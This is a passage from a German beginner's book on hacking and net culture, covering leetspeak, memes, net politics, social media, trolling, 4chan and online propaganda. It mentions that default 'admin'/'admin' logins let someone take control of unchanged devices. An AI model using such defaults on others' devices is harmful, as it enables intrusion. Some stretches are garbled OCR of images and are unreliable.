Das ist ein wichtiger Punkt: Viele dieser Dinge sind standardi- 
siert oder werden im Internet bereits gut erklärt. Es gibt sehr 
viele Dokumentationen zu lesen, verstehen und Software zum 
Ausprobieren. Ich versuche einen Überblick über die wichtigs- 
ten Konzepte zu geben. Die Ideen, Beispiele und ein paar einfa- 
che Code-Schnipsel sollen den Einstieg erleichtern. 


Mit zwölf Jahren hat mich der damalige Freund meiner 
Schwester auf das Thema gestoßen, weil er einen Computer 
hatte und ich absolut begeistert davon war, dass er BASIC (älte- 
re Programmiersprache) konnte. Außerdem hatte ich früher 
auch eine Lerncomputer, bei dem eine Menge an Code abtippen 
musste, um dann Stein-Schere-Papier zu spielen. Ich verstand 
als Kind nichts davon, aber fasziniert hat es mich trotzdem. 
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Damals fehlte mir eine kleine Anleitung wie Schleifen, Bedin- 
gungen und deren Ablauf funktioniert. 


Dieses Buch, das WWW und andere Hacker/-innen sind ein gu- 
ter Startpunkt um Informationen zu sammeln, herauszufinden 
was dich davon besonders interessiert und etwas damit anzu- 
fangen. 


Da die meisten Dokumentationen in englischer Sprache verfasst 
sind, musst du Englisch können. Einzelne Fachbegriffe sind 
schnell nachgeschlagen, aber ohne technischen Wortschatz 
wird es fast unmöglich. 


Was macht ein/-e Hacker/-in? 

Ein/-e Hacker/-in kann sich in einem der beschrieben Bereiche 
engagieren. Das kann der Aufbau von Netzwerkinfrastruktur 
sein, wie im Freifunk Projekt. Das kann Dokumentation von 
Software sein. Freie Software Projekte starten. Hardware 
schnappen und etwas daraus bauen. Web Server einrichten und 
den hacken. In Zusammenarbeit mit anderen gemeinnützige 
Projekte voran treiben. 


Einiger dieser Sachen werde ich im Laufe dieses Buches umset- 
zen und darüber schreiben wie gut oder schlecht es funktioniert 
hat. Aber lass uns vorher mit der Kultur anfangen, um erstmal 
die aktuelle Lage des Lebensraums "Internet" zu verstehen. Da- 
nach behandeln wir die IT-Grundlagen und mischen alles zu- 
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sammen, würzen es mit Kreativität und fangen an diese Dinge 
auszuprobieren. 


Was ist ein Hack? Eine Lösung auf ungewöhnliche Weise. Dein 
Hack sollte schnell durchzuführen sein und vor allem effektiv 
sein. Er soll ein Ziel erfüllen, dabei ist es egal, ob das Ergebnis 
hübsch, elegant oder effizient ist. Außerdem darfst du dir das 
Ziel auch selbst aussuchen. Im ersten Schritt sollte es erstmal 
funktionieren und der Weg dahin Spaß gemacht haben. 


Netzkultur 

Als kleiner Einstieg in den Wohnraum Internet werde ich mit 
Netzkultur anfangen und auch das unschöne Thema "Propa- 
ganda" durchgehen müssen, weil es im Netz immer häufiger 
auftaucht. Wenn ich schon erzähle, dass du im Netz nachlesen 
und fragen sollst, dann sollte ich auch vor den Gefahren darin 
warnen. 


Bei Netzkultur handelt es sich um eine Subkultur, die erst im 
Zusammenhang mit dem Internet entstehen konnte. Es sind 
eine ganze Reihe von Insider-Witzen und "Running Gags" im 
Umlauf. Doch diese Subkultur der Computerfreaks ist längst 
durch den Boom von Smartphones in den Alltag geflossen. Der 
Stand der Netzkultur? Memes schaffen es heute in die Tages- 
schau. 
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Seitdem das Internet eine große Bedeutung in unserem Alltag 
gewonnen hat, vermischt sich die Netzkultur auch immer häu- 
figer mit der Popkultur. Virale Videos werden in Nachrichten- 
sendungen gezeigt und Tweets (Einträge auf Twitter) von 
Trump vorgelesen. Das Internet hat Musikgenres hervorge- 
bracht und dient als Kommunikationsmittel bei Revolutionen. 
Ich könnte stundenlang weiter schwärmen und Beispiele liefern 
wieso bestimmte Inhalte oder Plattformen für die Menschen 
von besonderer Bedeutung sind. 


Bevor ich die dunklen Kapitel des Internets aufschlagen muss, 
schauen wir uns erst die lustigen Sachen an. Als Hacker/-in 
solltest du vom Internet und seiner Kultur etwas wissen. Gehen 
wir ein paar Klassiker durch. 


Leetspeak 

Die Sprache der "Scriptkiddies". Hier werden Buchstaben durch 
ähnlich aussehende Zahlen oder andere Zeichen ersetzt. Ur- 
sprünglich wurde diese Technik benutzt, um Wort-Filter zu um- 
gehen. Heute wird es häufig in selbstironischer Form benutzt, 
um die eigene Überlegenheit (gehören zur Elite) darzustellen 
und anderen zu imponieren. Das ist natürlich längst verpönt 
und wird deshalb nur noch als Scherz verwendet. Zu der 
Schreibweise kommt noch die Überspitzung mit Ausrufezeichen 
und Einsen, bei denen so getan wird, als würde der Schreiber 
die Shift-Taste zu früh loslassen. Das Resultat: !!!!!111 
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Kleines Leetspeak Alphabet in der einfachsten Variante mit Zah- 


len: 
A=4 
E=3 
T=7 
S=5 
> 
USW. 


Leetspeak = 13375P34K oder kurz 1337 (Leet) für Elite. 


Leetspeak spiegelt für mich die Situation wieder, in der es auf 
der einen Seite eine IT-affine Gruppe (Elite) gibt und auf der 
anderen Seite normale Nutzer (auch DAUs = Dümmster Anzu- 
nehmender User), die internetfähige Geräte haben, damit aber 
nicht umgehen können. 


Bei all den Scherzen liegt der Fehler allerdings nicht bei den 
Nutzern/-innen, sondern bei den Herstellern. Denn die sind ei- 
gentlich für die Sicherheit ihrer Geräte verantwortlich. Leider 
besitzen einige Hersteller von Unterhaltungselektronik keine 
Ansprüche an ihre Geräte, sodass diese möglichst wartungsfrei 
und sicher arbeiten. Die rechtlichen Anforderungen halten sich 
auch in Grenzen. Das bedeutet im Endeffekt, dass die Nutzer/- 
innen die Leidtragenden sind. 


Ein Beispiel: Es ist nicht zwangsläufig der Fehler des Nutzers, 
dass er sich auf jeder Webseite ein neues Passwort ausdenken 
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muss und deshalb auf einfache Kombinationen zurück greift. 
Warum macht der Browser es nicht für den Nutzer? Sodass sich 
dieser nur ein Passwort merken muss, für alle Webseiten? Eine 
lange Zeit hatte nur Apple in Safari und iOS eine Funktion, die 
ein zufälliges Passwort vorschlägt, einträgt und direkt speichert. 


Firefox hat nach Jahren endlich nachgezogen und hoffentlich 
wird es bald ein Standardverhalten von Webbrowsern. Es gäbe 
auch andere Ansätze um das gleiche Problem genauso bequem 
zu lösen. Auf der anderen Seite gibt es aber nicht mal Stan- 
dards, die vorschreiben, dass besonders lange Passwörter über- 
haupt eingegeben werden können. Für mich wäre es nicht das 
erst mal, wenn mir eine Plattform sagt, dass mein Passwort zu 
lang wäre. 


Es gibt typisches Scriptkiddie-Momente: Wenn es z.B. möglich 
wäre, sich mit dem Administrator-Account und "123456" oder 
"admin" anzumelden. User: "admin" und Passwort: "admin" ist 
übrigens bei vielen Geräten, die im Kapitel "Internet scannen" 
auftauchen das Default-Passwort. Wenn es nicht geändert wur- 
de, kann so die Kontrolle über das Geräte übernommen wer- 
den. Es passt zum Humor von Leetspeak sich danach als "mäch- 
tiger HaxxOr" zu fühlen. 


Ich mag diese Art Humor und ich mag die Ironie. Meine Web- 


seite heißt nicht ohne Grund www.1337core.de. Ironie setzt 
voraus, dass der Empfänger dich kennt oder wenigstens verste- 
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hen möchte. Ich würde sogar sagen, dass diese Kommunikation 
und deren Witze in die Kategorie "Spaß am WWW" fallen. 


Kunst 

Wenn wir uns schon ansehen, was schönes im Internet passiert, 
ist die Kunst nicht weit. Künstlerische Werke können in vielfäl- 
tiger Weise auf Computern oder im Internet entstehen und dar- 
über verbreitet werden. Das reicht von Webseiten über Webco- 
mics bis zur klassischen ASCII-Kunst. 


ASCII (American Standard Code for Information Interchange) 
ist eine Zeichenkodierung, mit der auch Logos, Figuren oder 
Schriftzüge dargestellt werden können. Hacker haben übli- 
cherweise auch ihr eigenes Logo, was sie in ihre Textdateien 
packen, wenn sie Informationen, Scripte oder z.B. Exploits ver- 
öffentlichen. 
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Hier ein Penrose-Dreieck in ASCI: 


Der Wikipedia Artikel zur Ascii-Art hat weitere Beispiele. Es 
schadet nicht ein bisschen Geschick in Ascii zu haben, um ein 
eigenes Logo oder Visualisierungen zu basteln. 


Es gibt unzählige Arten von Animationen, Musik, Geschichten 
und Spiele, die sich mit Computern erstellen lassen. Ich wäre 
nicht ich, wenn ich davon nicht auch schon einiges ausprobiert 
hätte. Einen kleinen Ausflug in die Spieleentwicklung habe ich 
bereits hinter mir. Ich fand einen Flappy Bird Klon, der auch 
wie Flappy Bird funktioniert hat. Es gibt eine kleinen Vogel, der 
einmal mit den Flügeln schlägt, wenn auf den Bildschirm ge- 
tippt wird. Damit muss er an verschiedenen hohen Röhren vor- 
bei. Das Originalspiel war unfassbar erfolgreich, obwohl es 
mega schwer ist. 
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Jedenfalls fand ich einen Klon im Web und habe das Spiel um- 
programmiert. Statt den Vogel zu steuern, steuerst du die Röh- 
ren. Der Vogel schlägt selbst mit den Flügeln. Die Funktionen 
sind exakt wie vorher, werden aber automatisch angestoßen. 
Mit der Maus kann die Höhe der Röhren bestimmt werden. Ich 
habe es "Reverse Flappy Bird" getauft. Der Code ist auf Code- 
pen und kann dort auch weiter verändert und "geremixed" 
werden. 


* 


Code: https://codepen.io/leetcore/full/QOqYRbp/ 


An den Mini Games habe ich schon gemerkt, wie schlecht ich 
im Zeichnen bin, das hat mich aber nicht davon abgehalten ein 
paar Web Comics zu zeichnen. Meine Idee war damals das 
günstige iPad mit dem Apple Pencil zu kaufen. Als Anwendung 
reichte für den Anfang "Sketches" aus. Von den Comics habe ich 
am Ende nicht mal eine Hand voll gemalt. 


40 


Meine erste Zeichnung hatte einen passenden Inhalt: 


Nice\ 
\Je achns 
Te 


Mit etwas Übung und mehr Zeit wurde es besser, aber die Zeit 
war knapp und andere Hobbies haben mir mehr Spaß gemacht. 
Nach meinem Kurztrip in die Webcomics hatte ich auch noch 
Musik auf meiner Todo-Liste. Ich wollte es auch ausprobieren 
und an den Spaß auf der Playstation 1 mit dem Programm 
"Music 2000" in meiner Jugend anknüpfen. Richtig spannend 
dabei war aber eigentlich das Ziel diese MP3s auch auf allen 
Streamingplattformen zu veröffentlichen. Nach etwas Recher- 
che bin ich auf distrokid.com gestoßen. Deshalb waren meine 
Techno-Tracks, die rückblickend betrachtet noch dazu deutlich 
zu wenig Bass hatten, auf Spotify, Apple Music und x anderen 
Plattformen abspielbar. Am Ende hat mich das Experiment un- 
gefähr 15 Euro für ein Jahr gekostet. Wenn ich ein fähiger In- 
die-Musiker wäre, wüsste ich wie ich meine Tracks veröffentli- 
chen könnte. Aber zurück zum Thema Netzkultur. Mit Gifs hat 
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sich eine Technologie durchgesetzt, die eigentlich ziemlich alt 
ist. 


GIFs 

Die animierten Bildchen fristeten über 20 Jahre ein Nischenda- 
sein und kamen in Form von "Reaction Gifs" oder in kurzen 
Ausschnitten aus beliebten Serien und Filmen zurück. Das lag 
vor allem daran, dass im Jahre 2006 wesentlich Patente des 
Formates ausliefen. Wodurch das Bild-Format ohne Lizenzkos- 
ten genutzt werden konnte. Danach wurden Gifs als Reaktion 
in viele Apps integriert und immer weiter verbreitet. Die Ani- 
mationen sind nicht besonders sparsam. Das heißt, längere Gifs 
bestehen schnell aus einige Megabyte an Daten. Trotzdem ist 
das Format eben auf sehr vielen Plattformen vorhanden. 


Mit Webseiten wie Giphy oder Tenor ist es deutlich einfacher 
geworden überhaupt das passende Gif für seine Situation zu 
finden. Die Klassiker sind ein Facepalm- (gerne auch scherzhaft 
als "Gesichtspalme" übersetzt) oder Katzen-Gifs. Gifs sind zwar 
ein Urheberrechtsminenfeld, aber kulturell ungemein wichtig 
geworden. 


Manchmal sagt ein Gif mehr als tausend Worte. 


Die eigene Stimmung lässt sich erstaunlich gut in kurzen Se- 
quenzen aus Filmen oder Serien darstellen. Falls das Urheber- 
recht uns irgendwann die Gifs wegnehmen sollte, haben wir 
immerhin noch Emojis! 
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Emojis 

Es grenzt an eine Meisterleistung, dass das Unicode Konsortium 
es geschafft hat, kleine Smileys und Symbole in jedes verbreite- 
te Betriebsystem zu bringen. Durch die Unicode-Standards ist 
es möglich sich gegenseitig Herzchen zu schicken, die zwar auf 
jeder Plattform etwas anders dargestellt werden, aber immer- 
hin nach Herzchen aussehen. 


Um ein Emoji vorzuschlagen, muss die Begründung dem Uni- 
code Konsortium vorgelegt werden und verschiedene Anforde- 
rungen entsprechen. Irgendwann musste jemand ausführlich 
erklären, wieso es z.B. ein Salat-Emoji geben sollte. 


Welche Anforderungen es gibt und wie der Antrag gestellt wird 
ist öffentlich einsehbar. Eine Internetsuche nach "Unicode Pro- 
posals" findet die offizielle Webseite und Templates, wie solche 
Vorschläge eingereicht werden können. Mein Emojiwähler 
platzt zwar aus allen Nähten und häufig benutze ich sowieso 
die gleichen Emojis, aber grundsätzlich kommen die immer 
sinnvolle Erweiterungen dazu. Wer jetzt noch die doppelten 
Bedeutungen der Emojis kennt, ist auf dem Weg zum Experten 
unter den Experten. ;) 


Memes 

Memes (ein Internet Phänomen oder Hype) verbreiten sich 
auch immer schneller "außerhalb des Internets", was spätestens 
seit den Smartphones nicht mehr zu trennen ist. Es gibt ver- 
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schiedene Arten von Memes in Form von Bildern, animiertes 
Gifs, Catchphrases oder Videos. Die Webseite knowyourmeme.- 
com listet derzeit 4.100 Memes, von denen ich nur wenige 
kenne. Erst wenn ich die Memes chronologisch auf „älteste zu- 
erst“ sortiere, erkenne ich überhaupt welche. Womöglich heißt 
es, dass die Seite sehr viele kleinere Memes auflistet oder ich 
einfach alt bin. 


Das klassische Beispiel für ein Meme als Scherz ist "Rickrollen". 
Bei diesem Meme wird z.B. ein interessanter Linktext geschrie- 
ben, jemand klickt drauf, aber die nächste Webseite spielt nur 
"Never Gonna Give You Up" von Rick Astley ab. 


Weil der Songtext so schön ist: 

Never gonna give you up 

Never gonna let you down 

Never gonna run around and desert you 
Never gonna make you cry 

Never gonna say goodbye 

Never gonna tell a lie and hurt you 
Never gonna give you up 

Never gonna let you down 

Never gonna run around and desert you 
Never gonna make you cry 

Never gonna say goodbye 

Never gonna tell a lie and hurt you 
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Memes sind eine gute Methode, um Inhalte auf lustige Art zu 
verbreiten. Das funktioniert als Insider-Witze, es funktioniert 
zum Thema Netzpolitik und es funktioniert leider auch bei Pro- 
paganda. Aber die schlimmeren Themen hebe ich mich für spä- 
ter auf. Auf gestalterische Weise lässt sich viel mit dem Netz 
tun, allerdings spielt auch immer wieder die Politik eine Rolle. 


Netzpolitik 

Netzpolitik ist ein breites Feld bei dem es um alle Themen der 
Digitalisierung, E-Commerce und dem Internet geht. Verschie- 
dene Vereine, Organisationen und Arbeitskreise beschäftigen 
sich mit den digitalen Freiheitsrechten und versuchen der Ge- 
setzgebung pragmatischere oder liberalere Lösungen vorzu- 
schlagen. Erst der anfängliche Erfolg der Piratenpartei hat zu 
Arbeitskreisen in anderen Parteien geführt, die sich intensiv mit 
der Digitalisierung beschäftigten. 


Ein Beispiel für ein schlechtes Internetgesetz ist z.B. das "Coo- 
kie Law". Als Reaktion auf dieses Gesetz werden den Nutzer 
und Nutzerinnen auf jeder Webseite Info-Layer angezeigt, die 
einen Teil der Webseite verdecken und erklären sollen wieso 
Cookies gespeichert werden. Auf jeder Webseite erneut. Entwe- 
der gibt es einen Bestätigung oder die ganz dreiste Variante und 
die Besucher/-innen sollen die hunderte Partnernetzwerke zu 
Werbezwecken einzeln ablehnen. Das wird natürlich absichtlich 
so gebaut, damit Tracking möglichst aktiv bleibt. Bequem wäre 
es gewesen, wenn funktionale Cookies die Standardeinstellung 
geworden wären und nur bei zusätzlichen Cookies eine Mel- 
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dung erscheinen muss. Noch besser wäre es, wenn diese Mel- 
dung nicht mehr angezeigt wird, weil über den Browser bereits 
mitgeteilt wurde, dass die Nutzer/-innen nicht getrackt werden 
wollen. 


"Do Not Track" ist der technische Lösungsvorschlag, den es be- 
reits gab, aber an den sich niemand hält. Dieser Status kann 
mit dem Browser übertragen werden und damit hätte sich die 
Sache. Im Gesetzestext könnte festgelegt werden, dass auch 
diese Willenserklärung ausreicht, um nicht im WWW verfolgt 
zu werden und somit keine Werbecookies zu speichern. Statt- 
dessen werden die Internetnutzer noch mehr genervt. Ich konn- 
te es mir nicht verkneifen eine Webseite zu bauen, auf der un- 
zählige Hinweisfenster geöffnet werden. 


- IE n. = ir könnten Se Daten 
a Be aben .. Danke [Danke für Ihr Verständnis x] Ihr Dahke Tür hr Verstänanist ri a | peichern. er für x 
id Sin Ihrem e En [Fühlen sich Ihre Daten nun 
wischengespeichert. besser geschützt? all 
Fühlen sich Ihre Daten nun x eu: 
besser geschützt? ei. 
irklic HGetühl dad =, 
Möchten Sie dee it. ana. Server X 
W benutzen? Sie haben das WWW 
Mlanaänlid 1 D 
en munizieren mit _XIBitte geben Sie a Ihe x&  xpner. 
= it „jrjeinem ausländischen Rechner. |Geheimzahl au _ Zen 
Ihre Daten werden ie haben nicht wirklich Millionen en re 3] 
dorthin geschickt, wo geerbt! 
! 
sie sie eingeben! 


eis! laden Sie keine x} Nonnen > or GER) 
Ba! von Ihrem lan 5 u ---- KEIN iPhone x 
b auch nichts 
ieschlechtsteil hoch Sitte geben Si htih kidiese x] 
ui Sie die 3.500 seitige ar Bis eh = nie 2 Xfg nee | 
Daienschutzerkdärung'asies eheimzahl ein! icht der 1 
und haben 
> Sie sind nicht en Sn Achtung: Mochten Sie diese x Ichts xl 
|Wir brauc|Besucher und haben deshalb ite wirklich in il [Haben Sie die 
IgesSie Se erden Di Datdauch nichts gewonnen. Ee]Browsercache speicher IDatenschutzerklärung 
en im Inte erstanden? 


eeeu—— | 


Quelle: https://www.1337core.de/datenschutz/ 
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Die Seite existierte schon relativ lange, nachdem die DSGVO 
(Datenschutz-Grundverordnung) eingeführt wurde, wurde 
auch meine Parodie hunderte Male geteilt. Aber es gibt auch 
positive Beispiele aus der Netzpolitik: So wurde "Löschen statt 
sperren" umgesetzt und somit eine Zensurinfrastruktur verhin- 
dert. Siehe Kapitel "Zensur". Wenn Themen wie damals ACTA 
(umstrittenes Handelsabkommen) oder die schlecht gemachten 
urheberrechtlichen Uploadfilter auf der Agenda stehen, hast du 
als Hacker/-in mit demonstrieren zu gehen. Das ist tatsächlich 
ein moralisches Pflichtprogramm. Was mich ärgert sind die 
schlechten Gesetzesvorschläge, da gibt es zu Internetthemen 
bessere Kompromisse. Es ist schließlich nicht so, dass über- 
haupt nichts zu reguliert werden sollte. 


Social Media und Web 2.0 

Der Aufstieg der sozialen Netzwerke wurde durch Millionen 
von Gelegenheitsinternetnutzer/-innen möglich gemacht. Ne- 
ben der eigenen E-Mailadresse war plötzlich Social Media die 
erste Anlaufstelle. Angefangen hat es in meinem Umfeld mit 
einer lokalen Plattform namenes "Gesichterparty". Dort war 
mein Öffentliches Profil mit Gästebuch und eben Partyfotos. 
MySpace war eher für die Leute, die gerne bunte und animierte 
Profile hatten. Später ging es zu Wer-Kennt-Wen woraufhin sich 
dort auch meine Lehrer und die Eltern von Freunden angemel- 
det haben. Deswegen sind wir relativ schnell zu Facebook ge- 
flüchtet und leider ist unser Umfeld uns dahin gefolgt. 
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Das Web 2.0 hat uns auch eine ständige Verfügbarkeit von Mei- 
nungen gebracht, von denen ich froh wäre, ich wüsste sie über- 
haupt nicht. Ich würde sogar sagen, dass ich früher deswegen 
extra ins Internet abgetaucht bin. 


Die Möglichkeit Artikel oder andere Inhalte zu kommentieren, 
war einige Jahre sehr nützlich, weil auf Fehler innerhalb der 
Artikel hingewiesen werden konnten. Heute werden die Kom- 
mentarspalten von Nachrichtenseiten sehr häufig für Propa- 
ganda missbraucht. Aber es ist wie bei Facebook, ich habe ein- 
fach aufgehört es zu lesen. 


Likes 

Es gibt Plattformen, die sogar aus technischer Perspektive eine 
destruktive Community fördern. Der Fokus liegt auf maximaler 
Nutzungszeit, damit mehr Werbung dargestellt werden kann. 
Dabei wäre es nicht schwierig auch für große, öffentliche Platt- 
formen durch verschiedene Mechanismen die Plattform deut- 
lich angenehmer zu machen. 


Zum Beispiel führt Karma auf Reddit dazu, dass Beiträge mit zu 
vielen negative Bewertungen ausgeblendet werden und der 
Wert im Gesamtkarma des Accounts gespeichert wird. 


Auf Plattformen wie Stackoverflow, müssen sich die Nutzer/- 


innen erst Punkte verdienen, um überhaupt Kommentare be- 
werten zu können. Die anonyme Jodel-App hat auch ein Kar- 
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ma-System, wodurch Beiträge bewertet werden können und 
schlechte Beiträge automatisch verschwinden. 


Was haben wir bei den großen Social Media Plattformen? Dort 
gibt es Likes, verschiedene Reaktionen und du kannst einzelne 
Nutzer nur für dich selbst ausblenden/blockieren. Alle anderen 
müssen den Quatsch immer noch lesen. Provokante oder fal- 
sche Meldungen erreichen damit eine hohe Reichweite. Über- 
treibung generiert Klicks und diese Inhalte werden mit Reich- 
weite belohnt, statt weniger sichtbar zu werden. Deshalb sind 
solche Plattformen auch ein beliebtes Ziel für Propaganda. 


Es ist auch erstaunlich einfach sich solche "Zustimmung" in 
Form von Likes selbst zugeben. Dafür gibt es einige Methoden: 
Likes online kaufen, selbst hundert Accounts anlegen und oder 
auf Hashtag-Spam (#followforfollow) setzen. Außerdem lassen 
sich auch Bots (automatisiertes Programm) installieren, der an- 
fängt verschiedenen Nutzer/-innen zu folgen und ihnen später 
wieder zu entfolgen. Damit starten ganze Influencer-Karrieren. 
Der Qualität hat es nicht gut getan. 


Wer im World Wide Web "surft", sich also ein bisschen auf 
Linkwellen treiben lässt, lernt auch früher oder später die un- 
angenehmen Seiten des WWW kennen. Ich habe schon etwas 
angedeutet, dass es auch um die Schattenseiten gehen wird. Es 
ist eine wichtige Aufgabe zu erklären wie Propaganda funktio- 
niert. Denn Propaganda mit Hilfe von Kommentaren oder Wer- 
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bung im Internet ist allgegenwärtig. Aber fangen wir bei den 
Formen an. 


Trolling 

Das Provozieren von Gesprächsteilnehmern im Internet wird als 
"trollen" bezeichnet. Der Nutzer wird geködert und dabei in 
eine unsachlich Diskussion verwickelt. Trolling kann durchaus 
geschickt und unterhaltsam gemacht werden, es ist am Ende 
aber immer destruktiv und störend. Nicht ohne Grund wird po- 
litische Propaganda auch im Stile eines Trolls durchgeführt. 


Da diese Kultur durch Shitstorms immer mehr in den Fokus ge- 
raten sind, zog es mich 2012 auf die "Trollcon" in Mannheim. 
Dort wurden einige Vorträge zu diesem Thema gehalten. Der 
Internetnutzer als störender Kommunikationsteilnehmer muss 
dafür auch auf störwillige Kommunikationspartner treffen. Die 
Troll-Angel wird ausgeworfen und es beißen Fische an. Da- 
durch führt eine konstruktive Diskussion komplett weg vom ur- 
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sprünglichen Thema. Trolle sind geschickt darin ein Theater zu 
veranstalten, um von anderen (wichtigeren) Themen abzulen- 
ken. 


Dialoge geraten in destruktive Richtung, wenn entweder keine 
sachliche Ebene vorhanden war oder innerhalb des Gesprächs 
klar wird, dass eine sachliche Diskussion überhaupt nicht mög- 
lich ist. An diesem Punkt ist das konstruktive Ende des Gesprä- 
ches unerreichbar geworden. Bei politischen Diskussionen äu- 
ßert sich das darin, dass Diskussionen gewonnen werden wol- 
len, wofür auch unfaire Mittel recht sind z.B. den anderen so 
lange provozieren bis er nicht mehr antworten will, sodass der 
Troll "das letzte Wort" hat. Doch auch für diese Angel braucht 
es einen Fisch der anbeißt. 


* Hass-Nachrichten, um Diskussionsteilnehmer/-innen ein- 
zuschüchtern, wodurch sie sich von der Diskussion zurück- 
ziehen. 


= 


* Endlose Diskussionen, weil sie sich ständig neue "Argu- 
mente" einwerfen, die aber bereits widerlegt wurden. Auf 
jedes widerlegte Argument, wird sich ein neues Beispiel 
ausgedacht. Zum Beispiel ein Argument, das "was wäre 
wenn" behandelt und nicht, was gerade die Fakten sind. 


ee 


* Ablenkungsmanöver, indem die Grammatik bewertet wird, 
statt der Inhalt. 
* Aussagen umdeuten, indem ein eigenes extremes Beispiel 


r 


dem Gesprächspartner/-in in den Mund gelegt wird, um 


sl 


sich dann von seiner eigenen Aussage angegriffen zu füh- 
len. "Willst du etwas sagen, dass alle..." 

* Um möglichst viel Emotionen hervor zu rufen, werden Fak- 
ten mit schlechten Beweggründen verknüpft. Dabei sind 
die Gründe überhaupt nicht bekannt. 


Als gutes Beispiel dient die Medienberichterstattung und Social 
Media um "Greta Thunberg". Betrachten wir die Fakten: Sie ist 
eine junge schwedische Klimaaktivistin, die nicht mal eine be- 
sonders kontroverse Meinung hat. Wissenschaftler/-innen sa- 
gen, dass die aktuellen politischen Bemühungen nicht ausrei- 
chen werden und sie gibt es genauso weiter. 


Im Internet - und auch in Zeitungen - wird daraus eine politi- 
sche Debatte, weil nicht jedem die theoretischen Gegenmaß- 
nahmen passen. Deshalb wird bei Greta überkritisch hinge- 
schaut, wenn sie auch nur indirekt für CO2 Ausstoß verant- 
wortlich gemacht werden kann. Als wäre das Mädchen das al- 
leinige Problem des Klimawandels. 


Dieses Schuldzuweisung ist typisches Trolling, um vom Thema 
abzulenken. Denn statt über die Forderungen und mögliche Lö- 
sungen nachzudenken, wird auf jede ihrer Bewegungen ge- 
schaut und ihre möglichen Klimaschäden besprochen. Das Pro- 
blem wird nicht behandelt, sondern die Überbringerin wird dis- 
kutiert. Als müssten Personen eine perfekte Lichtgestalt sein, 
um etwas berechtigt kritisieren zu können. Eine uralte Taktik. 
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Die Methoden des Trolls werden vor allem von rechten Grup- 
pen übernommen, die damit andere aus den Diskursen weg 
mobben möchten. Nicht ohne Grund, werden solche Organisa- 
tionen "Troll-Armee" genannt. Die Methoden dafür sind auch 
alle bekannt und ein paar davon im Kapitel "Propaganda" zu 
lesen. Eigentlich ist Propaganda in Social Media so groß ge- 
worden, dass es zum kleinen Internet Einmaleins gehört. 


Um dem Ganzen etwas Positives abzugewinnen: Der Getrollte 
kann daraus auch einige Aspekte über sich selbst lernen. Zum 
Bespiel welche Diskussionen zu keinem Konsens mehr führen, 
dass Meinungen von anderen (vor allem Fremde Menschen im 
Internet) nicht so richtig relevant sind oder es hilft den Vor- 
schuss an Vertrauen zu Fremden im Internet abzubauen. Das 
bedeutet, dass der/die Getrollte weniger Vertrauensvorschuss 
aufbringen wird, was bei drohenden Gefahren im Internet 
durchaus hilfreich sein kann. 


Es ist ein guter Rat nicht alles zu glauben was auf einer Inter- 
netseite, einer Spam-Mail oder einem Pop-up steht. Außerdem 
kann er oder sie den ausgeworfenen Troll-Köder leichter erken- 
nen, sobald eine Diskussion eine unfaire Ebene erreicht hat. 
Außerdem kann in Zukunft besser auf alltägliches Trolling re- 
agiert werden. Es hilft auch einfach, die rhetorischen Tricks der 
Propaganda zu kennen. Diese Tricks sind nicht geheim. Ich be- 
schäftige mich auch erst damit, seitdem mir das im Internet 
ständig vor die Füße fällt. Das destruktive Ausmaß lässt sich 
aber auch erst verstehen, wenn du die Zielscheibe davon warst. 
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4Chan 

Viele der Memes kamen von Imagesboards wie 4Chan, die sich 
anfangs mit Animes beschäftigt haben, aber aufgrund der An- 
onymität und immer weiteren Channels, wie /pol (politically 
incorrect) und /b (kein Thema, meistens Provokantes) zu einer 
Art Sumpf der Menschenverachtung im Internet wurden. Auf 
AChan ist /b mit Abstand der beliebteste Channel, was eindeu- 
tig dafür spricht, dass die Community nicht mehr viel für lusti- 
ge Katzenfotos übrig hat. 


Im Moment ist auf /b (unter der Porno Werbung) ein Beitrag 
oben, der Frauen im Alltag in sexuellen Kontext setzt. Eine jun- 
ge Frau mit enge Sporthose, eine Nahaufnahme einer andere 
jungen Frau in den Ausschnitt. Als Bild-Antwort folgt wieder 
eine Frau (oben ohne), die sich gerade im Bad umzieht und 
vom Flur aus fotografiert wurde. Die Bilder sehen aus als hät- 
ten sie ein Stalker gemacht. Neben solchen Posts gab es auch 
immer wieder Hass-Kampagnen, die selbst 4Chan irgendwann 
zu heiß wurden. 


Dadurch wechselten viele zur Webseite 8Chan, die noch weni- 
ger Regeln hatte und auf der bisher drei rechtsextreme An- 
schläge im Jahr 2019 angekündigt und danach durchgeführt 
wurden. Die Wikipedia-Artikel zu beiden Plattformen sind sehr 
lesenswert und fassen ihre Geschichte gut zusammen. Rassisti- 
sche, frauenfeindliche und antisemitische Inhalte geben sich 
dort die Hand. Dort werden koordinierte Hass-Kampagnen ge- 
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startet. Leider bietet das Internet auch eine Reihe von Möglich- 
keiten, um jemanden das Leben zur Hölle zu machen. 


Mobbing 

Internet-Mobbing oder auch gerne "Cyber"-Mobbing genannt, 
ist Mobbing unter Zuhilfenahme von digitalen Inhalten oder 
Medien. Wer sich über anderen in der digitalen Öffentlichkeit 
lustig macht, gefälschte Fotos teilt, Gerüchte verbreitet oder 
andere seelisch angreift, begeht Mobbing im digitalen Sinne. 
Die Hemmschwelle dafür ist geringer, weil der Täter das Opfer 
in der Regel nicht direkt sieht. Die verletzenden Inhalte können 
immer wieder gepostet werden und das auch meistens anonym. 
Was die ganze Mobbing-Geschichte sehr langwierig machen 
kann. 


Wenn es größeres Kreise zieht und in Hass umschlägt, sollte 
Hilfe hinzugezogen werden. Auf der Webseite Klicksafe finden 
sich Informationen über Cyber-Mobbing. Als Mobbing-Methode 
werden oft Gerüchte verbreitet, was bei Propaganda auch eine 
effektive Maßnahme ist. 


Propaganda im Internet 

Aussagen, die wir öfters lesen oder hören, kommen uns be- 
kannt vor und erscheinen dadurch wahr, obwohl unser Gehirn 
uns da einen Streich spielt. 


Der Wikipedia-Artikel zu "Wahrheitseffekt" fasst es so zusam- 
men: 
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Der Wahrheitseffekt (engl. truth effect, illusory truth effect, fre- 
quency validity effect; auch Validity-Effekt oder Reiterationseffekt) 
beschreibt das Phänomen der kognitiven Psychologie, dass Aussa- 
gen, die zuvor bereits gehört oder gelesen wurden, ein größerer 
Wahrheitsgehalt zugesprochen wird als solchen, die erstmals ge- 


hört werden. 


Ein Effekt der wichtig zu wissen ist, gerade bei Propaganda im 
Internet. Denn eine Information die mehrfach über eine nicht 
vertrauenswürdige Quelle mitgeteilt wurde, sollte trotzdem 
noch kein Wahrheitsgehalt beigemessen werden. Die einfachste 
Maßnahme, um so etwas zu überprüfen, ist immer noch die 
Quellen zu prüfen. 


Es gab ursprünglich den naiven Gedanken, dass die Menschheit 
mithilfe des Internets immer schlauer werden würde. Das In- 
